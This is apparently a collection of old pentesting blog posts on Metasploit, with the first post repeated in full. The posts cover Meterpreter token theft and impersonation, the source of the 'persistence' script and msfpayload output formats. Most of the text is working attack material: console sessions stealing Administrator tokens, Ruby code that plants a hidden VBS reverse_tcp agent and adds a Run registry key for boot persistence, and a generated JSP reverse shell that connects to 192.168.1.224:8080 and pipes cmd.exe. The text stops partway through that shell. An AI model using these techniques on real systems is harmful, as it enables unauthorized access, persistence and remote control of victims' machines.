Meterpreter Token Manipulation

In revision 8055 HD committed new code that now allows the Meterpreter session if running as System to manipulate tokens in a much easier manner. Just like with incognito one can now get an access token and impersonate an account thru the Meterpreter Standard API, in fact I see both as complementing each other. Lets impersonate the Local Admin account on a Windows 2003 System using Incognito:

  1: meterpreter > use incognito
  2: Loading extension incognito...success.
  3: meterpreter > list_tokens -u
  4: 
  5: Delegation Tokens Available
  6: ========================================
  7: NT AUTHORITY\LOCAL SERVICE
  8: NT AUTHORITY\NETWORK SERVICE
  9: NT AUTHORITY\SYSTEM
 10: WIN2K3LAB01\Administrator
 11: 
 12: Impersonation Tokens Available
 13: ========================================
 14: NT AUTHORITY\ANONYMOUS LOGON

From line 1 and 2 we can see that we have loaded the incognito extension, this will inject a DLL in to the process where Meterpreter is running to allow us to issue the commands. At line 3 we issue a command to list the tokens available to the attacker, System is the best privilege to have while executing this command since we will see all token on the host, if we are not running as System on the target machine we will only see those tokens that the account have used to connect to other systems with.  Now we will change from our current running User ID to the Local Admin using incognito:

  1: meterpreter > getuid 
  2: Server username: NT AUTHORITY\SYSTEM
  3: meterpreter > impersonate_token WIN2K3LAB01\\Administrator
  4: [+] Delegation token available
  5: [+] Successfully impersonated user WIN2K3LAB01\Administrator
  6: meterpreter > getuid 
  7: Server username: WIN2K3LAB01\Administrator

Now we have moved from System to Local Admin, this process is very useful for when attacking distributed system like Microsoft Active Directory where having local access only is not of great benefit but being able to move to the credentials for that system specially administrative credentials are of great value.

The new commands in Standard API are:

  • drop_token    It drops any token being impersonated..
  • getprivs      Gets as many system privileges as it can.
  • steal_token  Attempts to steal a token from a given process and impersonate such token.

     

    The following code map to the following code in lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

      1: #
    
      2: # Obtains as many privileges as possible on the target machine.
    
      3: #
    
      4: def cmd_getprivs(*args)	
    
      5: 	print_line("=" * 60)
    
      6: 	print_line("Enabled Process Privileges")
    
      7: 	print_line("=" * 60)
    
      8: 	client.sys.config.getprivs.each do |priv|
    
      9: 		print_line("  #{priv}")
    
     10: 	end
    
     11: 	print_line("")
    
     12: end
    
     13: 
    
     14: #
    
     15: # Tries to steal the primary token from the target process.
    
     16: #
    
     17: 
    
     18: def cmd_steal_token(*args)	
    
     19: 	if(args.length != 1 or args[0] == "-h")
    
     20: 		print_error("Usage: steal_token [pid]")
    
     21: 		return
    
     22: 	end
    
     23: 	print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
    
     24: end
    
     25: 
    
     26: #
    
     27: # Drops any assumed token.
    
     28: #
    
     29: 
    
     30: def cmd_drop_token(*args)	
    
     31: 	print_line("Relinquished token, now running as: " + client.sys.config.drop_token())	
    
     32: end

    The drop_token command executes the function cmd_drop_token that as it can be seen in line 31 it will execute the API call client.sys.config.drop_token. The getprivs command execute sthe cmd_getprivs function that in turn executes the client.sys.config.getprivs API call which returns an Array of all the privileges the current user has. The steal_token command executes the cmd_steal_token function that in turn executes the client.sys.config.steal_token API call taking as required argument the PID of the process from whom to steal the token from if possible. As it can be seen 3 simple API calls from inside a Meterpreter session is all it takes, this makes scripting this actions for other scripts extremely easy and sets this framework apart from others.

    Lets Impersonate a toke that we know runs under the Administrators Account like the process of explorer.exe for a logged on account. We will list the processes, steal its token, check our privileges and then drop the token.:

      1: meterpreter > ps
    
      2: 
    
      3: Process list
    
      4: ============
    
      5: 
    
      6:     PID   Name                 Path
    
      7:     ---   ----                 ----
    
      8:     268   smss.exe             \SystemRoot\System32\smss.exe
    
      9:     320   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe
    
     10:     344   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe
    
     11:     392   services.exe         C:\WINDOWS\system32\services.exe
    
     12:     404   lsass.exe            C:\WINDOWS\system32\lsass.exe
    
     13:     600   vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe
    
     14:     620   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     15:     700   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     16:     756   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     17:     784   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     18:     820   svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     19:     964   spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe
    
     20:     992   msdtc.exe            C:\WINDOWS\system32\msdtc.exe
    
     21:     1104  dns.exe              C:\WINDOWS\System32\dns.exe
    
     22:     1152  svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     23:     1216  svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     24:     1296  vmtoolsd.exe         C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
    
     25:     1368  VMUpgradeHelper.exe  C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
    
     26:     1488  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe
    
     27:     1560  svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     28:     1704  dllhost.exe          C:\WINDOWS\system32\dllhost.exe
    
     29:     2164  Explorer.EXE         C:\WINDOWS\Explorer.EXE
    
     30:     2228  VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    
     31:     2236  VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    
     32:     2284  meter_224.exe        C:\Documents and Settings\Administrator\Desktop\meter_224.exe
    
     33:     2352  wuauclt.exe          C:\WINDOWS\system32\wuauclt.exe
    
     34:     2484  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe
    
     35:     3076  svhost77.exe         C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svhost77.exe
    
     36:     3096  taskmgr.exe          C:\WINDOWS\system32\taskmgr.exe
    
     37: meterpreter > steal_token 2164
    
     38: Stolen token with username: WIN2K3LAB01\Administrator
    
     39: meterpreter > getuid 
    
     40: Server username: WIN2K3LAB01\Administrator
    
     41: meterpreter > drop_token 
    
     42: Relinquished token, now running as: NT AUTHORITY\SYSTEM
    

    We first executed the ps command to list all processes with the PID, we used the steal_token command in like 37 to steal the token for the explorer process that has the PID of 2164 and we confirm in line 39 with the getuid command that we are now running under that token, at line 41 we drop the token and return to run as System. The drop command is also useful for when impersonating a token using incongnito and we want to return.

    The getprivs command will list all of the Windows System Process Level Privileges that are enabled:

      1: meterpreter > getprivs 
    
      2: ============================================================
    
      3: Enabled Process Privileges
    
      4: ============================================================
    
      5:   SeDebugPrivilege
    
      6:   SeTcbPrivilege
    
      7:   SeAssignPrimaryTokenPrivilege
    
      8:   SeLockMemoryPrivilege
    
      9:   SeIncreaseQuotaPrivilege
    
     10:   SeSecurityPrivilege
    
     11:   SeTakeOwnershipPrivilege
    
     12:   SeLoadDriverPrivilege
    
     13:   SeSystemtimePrivilege
    
     14:   SeProfileSingleProcessPrivilege
    
     15:   SeIncreaseBasePriorityPrivilege
    
     16:   SeCreatePagefilePrivilege
    
     17:   SeCreatePermanentPrivilege
    
     18:   SeBackupPrivilege
    
     19:   SeRestorePrivilege
    
     20:   SeShutdownPrivilege
    
     21:   SeAuditPrivilege
    
     22:   SeSystemEnvironmentPrivilege
    
     23:   SeChangeNotifyPrivilege
    
     24:   SeUndockPrivilege
    
     25:   SeManageVolumePrivilege
    

    As it can be seen the improvements on the Meterpreter ar being expanded and making it the best payload to be used against Windows System available in Metasploit. This new combination of token handling mixed with incognito and the ease in whish it can be scripted expands on the flexibility of Meterpreter and what can be done with it.

    Note:

    During the writing of this blog post the ps command was improved, it will now show under what privilege a process is running making the new set of commands even more useful

      1: meterpreter > ps
    
      2: 
    
      3: Process list
    
      4: ============
    
      5: 
    
      6:     PID   Name                 Path                                                      User
    
      7:     ---   ----                 ----                                                      ----
    
      8:     268   smss.exe             \SystemRoot\System32\smss.exe                             NT AUTHORITY\SYSTEM
    
      9:     300   svhost77.exe         C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svhost77.exe           NT AUTHORITY\SYSTEM
    
     10:     320   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe                         NT AUTHORITY\SYSTEM
    
     11:     344   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe                      NT AUTHORITY\SYSTEM
    
     12:     392   services.exe         C:\WINDOWS\system32\services.exe                          NT AUTHORITY\SYSTEM
    
     13:     404   lsass.exe            C:\WINDOWS\system32\lsass.exe                             NT AUTHORITY\SYSTEM
    
     14:     600   vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe         NT AUTHORITY\SYSTEM
    
     15:     620   svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\SYSTEM
    
     16:     700   svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\NETWORK SERVICE
    
     17:     756   svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\NETWORK SERVICE
    
     18:     784   svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\LOCAL SERVICE
    
     19:     820   svchost.exe          C:\WINDOWS\System32\svchost.exe                           NT AUTHORITY\SYSTEM
    
     20:     964   spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe                           NT AUTHORITY\SYSTEM
    
     21:     992   msdtc.exe            C:\WINDOWS\system32\msdtc.exe                             NT AUTHORITY\NETWORK SERVICE
    
     22:     1104  dns.exe              C:\WINDOWS\System32\dns.exe                               NT AUTHORITY\SYSTEM
    
     23:     1152  svchost.exe          C:\WINDOWS\System32\svchost.exe                           NT AUTHORITY\SYSTEM
    
     24:     1216  svchost.exe          C:\WINDOWS\system32\svchost.exe                           NT AUTHORITY\LOCAL SERVICE
    
     25:     1296  vmtoolsd.exe         C:\Program Files\VMware\VMware Tools\vmtoolsd.exe         NT AUTHORITY\SYSTEM
    
     26:     1368  VMUpgradeHelper.exe  C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe  NT AUTHORITY\SYSTEM
    
     27:     1560  svchost.exe          C:\WINDOWS\System32\svchost.exe                           NT AUTHORITY\SYSTEM
    
     28:     1704  dllhost.exe          C:\WINDOWS\system32\dllhost.exe                           NT AUTHORITY\SYSTEM
    
     29:     2164  Explorer.EXE         C:\WINDOWS\Explorer.EXE                                   WIN2K3LAB01\Administrator
    
     30:     2228  VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe       WIN2K3LAB01\Administrator
    
     31:     2236  VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe       WIN2K3LAB01\Administrator
    
     32:     2352  wuauclt.exe          C:\WINDOWS\system32\wuauclt.exe                           WIN2K3LAB01\Administrator
    
     33:     2484  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe                     NT AUTHORITY\SYSTEM
    
     34:     3096  taskmgr.exe          C:\WINDOWS\system32\taskmgr.exe                           WIN2K3LAB01\Administrator
    
     35: 
    
     36: meterpreter >

  • Meterpreter Token Manipulation

    In revision 8055 HD committed new code that now allows the Meterpreter session if running as System to manipulate tokens in a much easier manner. Just like with incognito one can now get an access token and impersonate an account thru the Meterpreter Standard API, in fact I see both as complementing each other. Lets impersonate the Local Admin account on a Windows 2003 System using Incognito:

      1: meterpreter > use incognito
    
      2: Loading extension incognito...success.
    
      3: meterpreter > list_tokens -u
    
      4: 
    
      5: Delegation Tokens Available
    
      6: ========================================
    
      7: NT AUTHORITY\LOCAL SERVICE
    
      8: NT AUTHORITY\NETWORK SERVICE
    
      9: NT AUTHORITY\SYSTEM
    
     10: WIN2K3LAB01\Administrator
    
     11: 
    
     12: Impersonation Tokens Available
    
     13: ========================================
    
     14: NT AUTHORITY\ANONYMOUS LOGON
    

    From line 1 and 2 we can see that we have loaded the incognito extension, this will inject a DLL in to the process where Meterpreter is running to allow us to issue the commands. At line 3 we issue a command to list the tokens available to the attacker, System is the best privilege to have while executing this command since we will see all token on the host, if we are not running as System on the target machine we will only see those tokens that the account have used to connect to other systems with.  Now we will change from our current running User ID to the Local Admin using incognito:

      1: meterpreter > getuid 
    
      2: Server username: NT AUTHORITY\SYSTEM
    
      3: meterpreter > impersonate_token WIN2K3LAB01\\Administrator
    
      4: [+] Delegation token available
    
      5: [+] Successfully impersonated user WIN2K3LAB01\Administrator
    
      6: meterpreter > getuid 
    
      7: Server username: WIN2K3LAB01\Administrator

    Now we have moved from System to Local Admin, this process is very useful for when attacking distributed system like Microsoft Active Directory where having local access only is not of great benefit but being able to move to the credentials for that system specially administrative credentials are of great value.

    The new commands in Standard API are:

    • drop_token    It drops any token being impersonated..
    • getprivs      Gets as many system privileges as it can.
    • steal_token  Attempts to steal a token from a given process and impersonate such token.

    The following code map to the following code in lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb

      1: #
    
      2: # Obtains as many privileges as possible on the target machine.
    
      3: #
    
      4: def cmd_getprivs(*args)	
    
      5: 	print_line("=" * 60)
    
      6: 	print_line("Enabled Process Privileges")
    
      7: 	print_line("=" * 60)
    
      8: 	client.sys.config.getprivs.each do |priv|
    
      9: 		print_line("  #{priv}")
    
     10: 	end
    
     11: 	print_line("")
    
     12: end
    
     13: 
    
     14: #
    
     15: # Tries to steal the primary token from the target process.
    
     16: #
    
     17: 
    
     18: def cmd_steal_token(*args)	
    
     19: 	if(args.length != 1 or args[0] == "-h")
    
     20: 		print_error("Usage: steal_token [pid]")
    
     21: 		return
    
     22: 	end
    
     23: 	print_line("Stolen token with username: " + client.sys.config.steal_token(args[0]))
    
     24: end
    
     25: 
    
     26: #
    
     27: # Drops any assumed token.
    
     28: #
    
     29: 
    
     30: def cmd_drop_token(*args)	
    
     31: 	print_line("Relinquished token, now running as: " + client.sys.config.drop_token())	
    
     32: end

    The drop_token command executes the function cmd_drop_token that as it can be seen in line 31 it will execute the API call client.sys.config.drop_token. The getprivs command execute sthe cmd_getprivs function that in turn executes the client.sys.config.getprivs API call which returns an Array of all the privileges the current user has. The steal_token command executes the cmd_steal_token function that in turn executes the client.sys.config.steal_token API call taking as required argument the PID of the process from whom to steal the token from if possible. As it can be seen 3 simple API calls from inside a Meterpreter session is all it takes, this makes scripting this actions for other scripts extremely easy and sets this framework apart from others.

    Lets Impersonate a toke that we know runs under the Administrators Account like the process of explorer.exe for a logged on account. We will list the processes, steal its token, check our privileges and then drop the token.:

      1: meterpreter > ps
    
      2: 
    
      3: Process list
    
      4: ============
    
      5: 
    
      6:     PID   Name                 Path
    
      7:     ---   ----                 ----
    
      8:     268   smss.exe             \SystemRoot\System32\smss.exe
    
      9:     320   csrss.exe            \??\C:\WINDOWS\system32\csrss.exe
    
     10:     344   winlogon.exe         \??\C:\WINDOWS\system32\winlogon.exe
    
     11:     392   services.exe         C:\WINDOWS\system32\services.exe
    
     12:     404   lsass.exe            C:\WINDOWS\system32\lsass.exe
    
     13:     600   vmacthlp.exe         C:\Program Files\VMware\VMware Tools\vmacthlp.exe
    
     14:     620   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     15:     700   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     16:     756   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     17:     784   svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     18:     820   svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     19:     964   spoolsv.exe          C:\WINDOWS\system32\spoolsv.exe
    
     20:     992   msdtc.exe            C:\WINDOWS\system32\msdtc.exe
    
     21:     1104  dns.exe              C:\WINDOWS\System32\dns.exe
    
     22:     1152  svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     23:     1216  svchost.exe          C:\WINDOWS\system32\svchost.exe
    
     24:     1296  vmtoolsd.exe         C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
    
     25:     1368  VMUpgradeHelper.exe  C:\Program Files\VMware\VMware Tools\VMUpgradeHelper.exe
    
     26:     1488  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe
    
     27:     1560  svchost.exe          C:\WINDOWS\System32\svchost.exe
    
     28:     1704  dllhost.exe          C:\WINDOWS\system32\dllhost.exe
    
     29:     2164  Explorer.EXE         C:\WINDOWS\Explorer.EXE
    
     30:     2228  VMwareTray.exe       C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    
     31:     2236  VMwareUser.exe       C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    
     32:     2284  meter_224.exe        C:\Documents and Settings\Administrator\Desktop\meter_224.exe
    
     33:     2352  wuauclt.exe          C:\WINDOWS\system32\wuauclt.exe
    
     34:     2484  wmiprvse.exe         C:\WINDOWS\system32\wbem\wmiprvse.exe
    
     35:     3076  svhost77.exe         C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\svhost77.exe
    
     36:     3096  taskmgr.exe          C:\WINDOWS\system32\taskmgr.exe
    
     37: meterpreter > steal_token 2164
    
     38: Stolen token with username: WIN2K3LAB01\Administrator
    
     39: meterpreter > getuid 
    
     40: Server username: WIN2K3LAB01\Administrator
    
     41: meterpreter > drop_token 
    
     42: Relinquished token, now running as: NT AUTHORITY\SYSTEM
    

    We first executed the ps command to list all processes with the PID, we used the steal_token command in like 37 to steal the token for the explorer process that has the PID of 2164 and we confirm in line 39 with the getuid command that we are now running under that token, at line 41 we drop the token and return to run as System. The drop command is also useful for when impersonating a token using incongnito and we want to return.

    The getprivs command will list all of the Windows System Process Level Privileges that are enabled:

      1: meterpreter > getprivs 
    
      2: ============================================================
    
      3: Enabled Process Privileges
    
      4: ============================================================
    
      5:   SeDebugPrivilege
    
      6:   SeTcbPrivilege
    
      7:   SeAssignPrimaryTokenPrivilege
    
      8:   SeLockMemoryPrivilege
    
      9:   SeIncreaseQuotaPrivilege
    
     10:   SeSecurityPrivilege
    
     11:   SeTakeOwnershipPrivilege
    
     12:   SeLoadDriverPrivilege
    
     13:   SeSystemtimePrivilege
    
     14:   SeProfileSingleProcessPrivilege
    
     15:   SeIncreaseBasePriorityPrivilege
    
     16:   SeCreatePagefilePrivilege
    
     17:   SeCreatePermanentPrivilege
    
     18:   SeBackupPrivilege
    
     19:   SeRestorePrivilege
    
     20:   SeShutdownPrivilege
    
     21:   SeAuditPrivilege
    
     22:   SeSystemEnvironmentPrivilege
    
     23:   SeChangeNotifyPrivilege
    
     24:   SeUndockPrivilege
    
     25:   SeManageVolumePrivilege
    

    As it can be seen the improvements on the Meterpreter ar being expanded and making it the best payload to be used against Windows System available in Metasploit. This new combination of token handling mixed with incognito and the ease in whish it can be scripted expands on the flexibility of Meterpreter and what can be done with it.

    Meterpreter Persistance

    One of the tasks once a pentester gains access to a system in retaining such access, for this HD Moore wrote a great Meterpreter script called persistence, this script is truly unique since it generates it own payload, uploads the payload and configures it in such a manner to provide the attacker with a way back in to the system.

    To see the options available with this script just run the script with the –h option:

       1: meterpreter > run persistence -h
       2:  
       3: OPTIONS:
       4:  
       5:     -A        Automatically start a matching multi/handler to connect to the agent
       6:     -X        Automatically start the agent when the system boots
       7:     -h        This help menu
       8:     -i <opt>  The interval in seconds between each connection attempt
       9:     -p <opt>  The port on the remote host where Metasploit is listening
      10:     -r <opt>  The IP of the system running Metasploit listening for the connect back

    I will discuss the options as they are executed in the code.

    The first thing the code will do is generate the payload that will be used on the target machine, the code is as follows:

      1: #
    
      2: # Create the persistent VBS
    
      3: #
    
      4: 
    
      5: print_status("Creating a persistent agent: LHOST=#{rhost} LPORT=#{rport} (interval=#{delay} onboot=#{install})")
    
      6: pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
    
      7: pay.datastore['LHOST'] = rhost
    
      8: pay.datastore['LPORT'] = rport
    
      9: raw  = pay.generate
    
     10: 
    
     11: vbs = ::Msf::Util::EXE.to_win32pe_vbs(client.framework, raw, {:persist => true, :delay => 5})
    
     12: print_status("Persistent agent script is #{vbs.length} bytes long")

    The options used are:

    • -i for the interval in which the payload should be executed, it has a default value of 5 seconds.
    • -p for the port where the host is listening for the connection. This port is important since it has to be a port that must be open between the target and the attackers system. The default value is 4444.
    • -r is the host IP address for where the connection should connect back to, this is very useful if we want the connection to go to another system like a server on a hosted infrastructure, that already has a multi handler listening for the connection to come. The default is the IP of the host from where it is being ran from.

    Line 5 you see a message printed where we see the values of the variables that will be used . In line 6 we set an object that is our payload called pay and the payload specified is a reverse TCP Meterpreter payload, from lines 7 and 8 we set the variables for this specific payload and we generate a Raw payload. On line 11 we use the same calls used by msfencode to encode a vbs_loop payload and the delay is set. The generated vbscript is saved in the variable. Then on line 12 we print out the size of our payload. This code can be used to generate other payloads, to get a list in msfconsole run the irb command and in it you can execute the API call for framework.payloads to get the list or just run msfpayload –h. For the encodings I do suggest that you take a look at the code in msfencode to get other possible encodes and ideas for your own scripts

    The next action taken is uploading the payload to the target system the code bellow shows how this script does it:

      1: #
    
      2: # Upload to the filesystem
    
      3: #
    
      4: 
    
      5: tempdir = client.fs.file.expand_path("%TEMP%")
    
      6: tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
    
      7: fd = client.fs.file.new(tempvbs, "wb")
    
      8: fd.write(vbs)
    
      9: fd.close
    
     10: 
    
     11: print_status("Uploaded the persistent agent to #{tempvbs}")

    In line 5 we can see that the temp directory for the account under the Meterpreter is running under by expanding the Windows %TEMP% variable. In line 6 we append the temp directory to a randome generated file name and append the extension .vbs, the appending of the extension is very importantant since wscript and cscript in Windows depend on the extension so as to know how to parse the script and execute it. From line 7 to 9 we create the file directly on the target system and we write the content of the variable holding the vbs code in to the file and we close it, thus creating the script on the target.

    The next step is to execute the vbs script. The code us shown bellow:

      1: #
    
      2: # Execute the agent
    
      3: #
    
      4: proc = session.sys.process.execute("wscript \"#{tempvbs}\"", nil, {'Hidden' => true})
    
      5: print_status("Agent executed with PID #{proc.pid}")

    In line 4 we execute the script using wscript and we execute the process as hidden from the user on the box, in line 5 we print the PID (Process ID) for the process.

    Lets take a look at the first option of –A this option will start a multi handler to receive the connection back from the payload this useful when the connection is back to the attacker machine one would set the connection on a different port and migrate such connection to a different process so in the case of process failure the connection to the target machine is not lost. The code to build this multi handler follows:

      1: #
    
      2: # Setup the multi/handler if requested
    
      3: #
    
      4: if(autoconn)
    
      5: 	mul = client.framework.exploits.create("multi/handler")
    
      6: 	mul.datastore['PAYLOAD']   = "windows/meterpreter/reverse_tcp"
    
      7: 	mul.datastore['LHOST']     = rhost
    
      8: 	mul.datastore['LPORT']     = rport
    
      9: 	mul.datastore['EXITFUNC']  = 'process'
    
     10: 	mul.datastore['ExitOnSession'] = false
    
     11: 
    
     12: 	mul.exploit_simple(
    
     13: 		'Payload'        => mul.datastore['PAYLOAD'],
    
     14: 		'RunAsJob'       => true
    
     15: 	)
    
     16: end

    As it can be seen the code is extremely simple to read thus making it very re-usable for other scripts one might have, if you have used msfconsole before to build a multi handler this code merits little explanation. One could easily add a AutoRunScript after line 10 if one so wishes to have a custom one or set is as an option for the script it self.

    If we selected the –X option to have the payload run when the computer start, then the code below is executed:

      1: #
    
      2: # Make the agent restart on boot
    
      3: #
    
      4: if(install)
    
      5: 	nam = Rex::Text.rand_text_alpha(rand(8)+8)
    
      6: 	print_status("Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
    
      7: 	key = client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', KEY_WRITE)
    
      8: 	if(key)
    
      9: 		key.set_value(nam, session.sys.registry.type2str("REG_SZ"), tempvbs)
    
     10: 		print_status("Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
    
     11: 	else
    
     12: 		print_status("Error: failed to open the registry key for writing")
    
     13: 	end
    
     14: end

    In line 5 we create a random number that will be used for the registry key that in line 7 will created in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. In line 8 a REG_SZ value is created with the path to our script, if it fails we will be informed.

    I tested this script in a series of system and I do have to say that what surprised me is that the first part ran with out a single problem in the following system and privileges:

    OS

    System

    Administrator

    Network Service

    Regular User

    Windows XP

    Ran

    Ran

    Ran

    Ran

    Windows 2003

    Ran

    Ran

    Ran

    Ran

    Windows Vista

    Ran

    Ran

    Ran

    Ran

    Windows 2008

    Ran

    Ran

    Ran

    Ran

    Windows 2008 R2

    Ran

    Ran

    Ran

    Ran

    Windows 7

    Ran

    Ran

    Ran

    Ran

     

    This where default systems and those that have UAC it was enabled.  Now on those systems where we set up the payload to run at start up only failed on those with UAC and running and not running as System, also failed on those running as Network Service and as a regular user in the Users group. I would also recommend that you take a look at the scheduleme script for others ideas for persistence and for privilege escalation in certain systems, it will also let you schedule it with more options, but it is also only present win Windows 2003 and present Windows versions and not in the Home Editions of Windows XP, it also suffers from the same limitation when UAC is enabled.

    Metasploit Payload Format Galore

    There are several flavors you can now export your payloads in Metasploit, making the insertion of them more and more flexible.  If we use the msfpayload command alone we can generate the following output of buffers for the Payloads:

    • Perl
    • Ruby -
    • JavaScript
    • Executable
    • VBA Raw

    The output for the programming languages can be used in exploit code being developed or inserted into programs, Raw can be passed to msfencode for further processing and the executable can be used to generate a single file executable that depending on the payload it will be the executable type created and Architecture.  Currently executables can be created for the following OS:

    • Windows (x86 and x64)
    • AIX (PPC)
    • Solaris (Sparc and x86)
    • Linux (Mips, PPC and x86)
    • OSX (ARM, PPC and Intel)
    • BSD (Sparc and x86)

    To get a list of all payloads and their description just run the program msfpayload wit the –h flag:

      1: ./msfpayload -h
    
      2: 
    
      3:     Usage: ./msfpayload <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[V]BA>
    
      4: 
    
      5: Framework Payloads (198 total)
    
      6: ==============================
    
      7: 
    
      8:     Name                                             Description
    
      9:     ----                                             -----------
    
     10: ................
    
     11:     java/jsp_shell_bind_tcp                          Listen for a connection and spawn a command shell
    
     12:     java/jsp_shell_reverse_tcp                       Connect back to attacker and spawn a command shell
    
     13: 
    
     14: ................
    
     15:     php/bind_perl                                    Listen for a connection and spawn a command shell via perl (persistent)
    
     16:     php/bind_php                                     Listen for a connection and spawn a command shell via php
    
     17:     php/download_exec                                Download an EXE from a HTTP URL and execute it
    
     18:     php/exec                                         Execute a single system command
    
     19:     php/reverse_perl                                 Creates an interactive shell via perl
    
     20:     php/reverse_php                                  Reverse PHP connect back shell with checks for disabled functions
    
     21:     php/shell_findsock                               
    
     22: 				Spawn a shell on the established connection to
    
     23: 				the webserver.  Unfortunately, this payload
    
     24: 				leaves conspicuous evil-looking entries in the
    
     25: 				apache error logs, so it is probably a good idea
    
     26: 				to use a bind or reverse shell unless firewalls
    
     27: 				prevent them from working.  The issue this
    
     28: 				payload takes advantage of (CLOEXEC flag not set
    
     29: 				on sockets) appears to have been patched on the
    
     30: 				Ubuntu version of Apache and may not work on
    
     31: 				other Debian-based distributions.  Only tested on
    
     32: 				Apache but it might work on other web servers
    
     33: 				that leak file descriptors to child processes.

    If we take a look at the snipped of output shown bellow you can see that several payloads are actually code that we can turn to code that can be placed in a web server for execution, the 2 types of payloads that allow us to do this are Java jsp and PHP code, just set the output to Raw and save the output to a file.

    To get the list of options you just use the Summarize option.

      1: ./msfpayload java/jsp_shell_reverse_tcp S
    
      2: 
    
      3:        Name: Java JSP Command Shell, Reverse TCP Inline
    
      4:     Version: 7550
    
      5:    Platform: Windows, OSX, Linux, Unix, Solaris
    
      6:        Arch: java
    
      7: Needs Admin: No
    
      8:  Total size: 0
    
      9:        Rank: Normal
    
     10: 
    
     11: Provided by:
    
     12:   sf <stephen_fewer@harmonysecurity.com>
    
     13: 
    
     14: Basic options:
    
     15: Name   Current Setting  Required  Description
    
     16: ----   ---------------  --------  -----------
    
     17: LHOST                   yes       The local address
    
     18: LPORT  4444             yes       The local port
    
     19: SHELL  cmd.exe          yes       The system shell to use.
    
     20: 
    
     21: Description:
    
     22:   Connect back to attacker and spawn a command shell
    
     23: 

    Lets generate a JSP file with some options so as to run it on a Windows server supporting JSP like an Oracle Application server

      1: ./msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.1.224,LPORT=8080 R > /tmp/reversejsp.jsp

    if we now take a look at the code generated it will look like this:

      1: 
    
      2: 			<%@page import="java.lang.*"%>
    
      3: 			<%@page import="java.util.*"%>
    
      4: 			<%@page import="java.io.*"%>
    
      5: 			<%@page import="java.net.*"%>
    
      6: 
    
      7: 			<%
    
      8: 				class StreamConnector extends Thread
    
      9: 				{
    
     10: 					InputStream is;
    
     11: 					OutputStream os;
    
     12: 					  
    
     13: 					StreamConnector( InputStream is, OutputStream os )
    
     14: 					{
    
     15: 						this.is = is;
    
     16: 						this.os = os;
    
     17: 					}
    
     18: 							  
    
     19: 					public void run()
    
     20: 					{
    
     21: 						BufferedReader in  = null;
    
     22: 						BufferedWriter out = null;
    
     23: 						try
    
     24: 						{
    
     25: 							in  = new BufferedReader( new InputStreamReader( this.is ) );
    
     26: 							out = new BufferedWriter( new OutputStreamWriter( this.os ) );
    
     27: 							char buffer[] = new char[8192];
    
     28: 							int length;
    
     29: 							while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
    
     30: 							{
    
     31: 								out.write( buffer, 0, length );
    
     32: 								out.flush();
    
     33: 							}
    
     34: 						} catch( Exception e ){}
    
     35: 						try
    
     36: 						{
    
     37: 							if( in != null )
    
     38: 								in.close();
    
     39: 							if( out != null )
    
     40: 								out.close();
    
     41: 						} catch( Exception e ){}
    
     42: 					}
    
     43: 				}
    
     44: 
    
     45: 				try
    
     46: 				{
    
     47: 					Socket socket = new Socket( "192.168.1.224", 8080 );
    
     48: 					Process process = Runtime.getRuntime().exec( "cmd.exe" );
    
     49: 					( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    
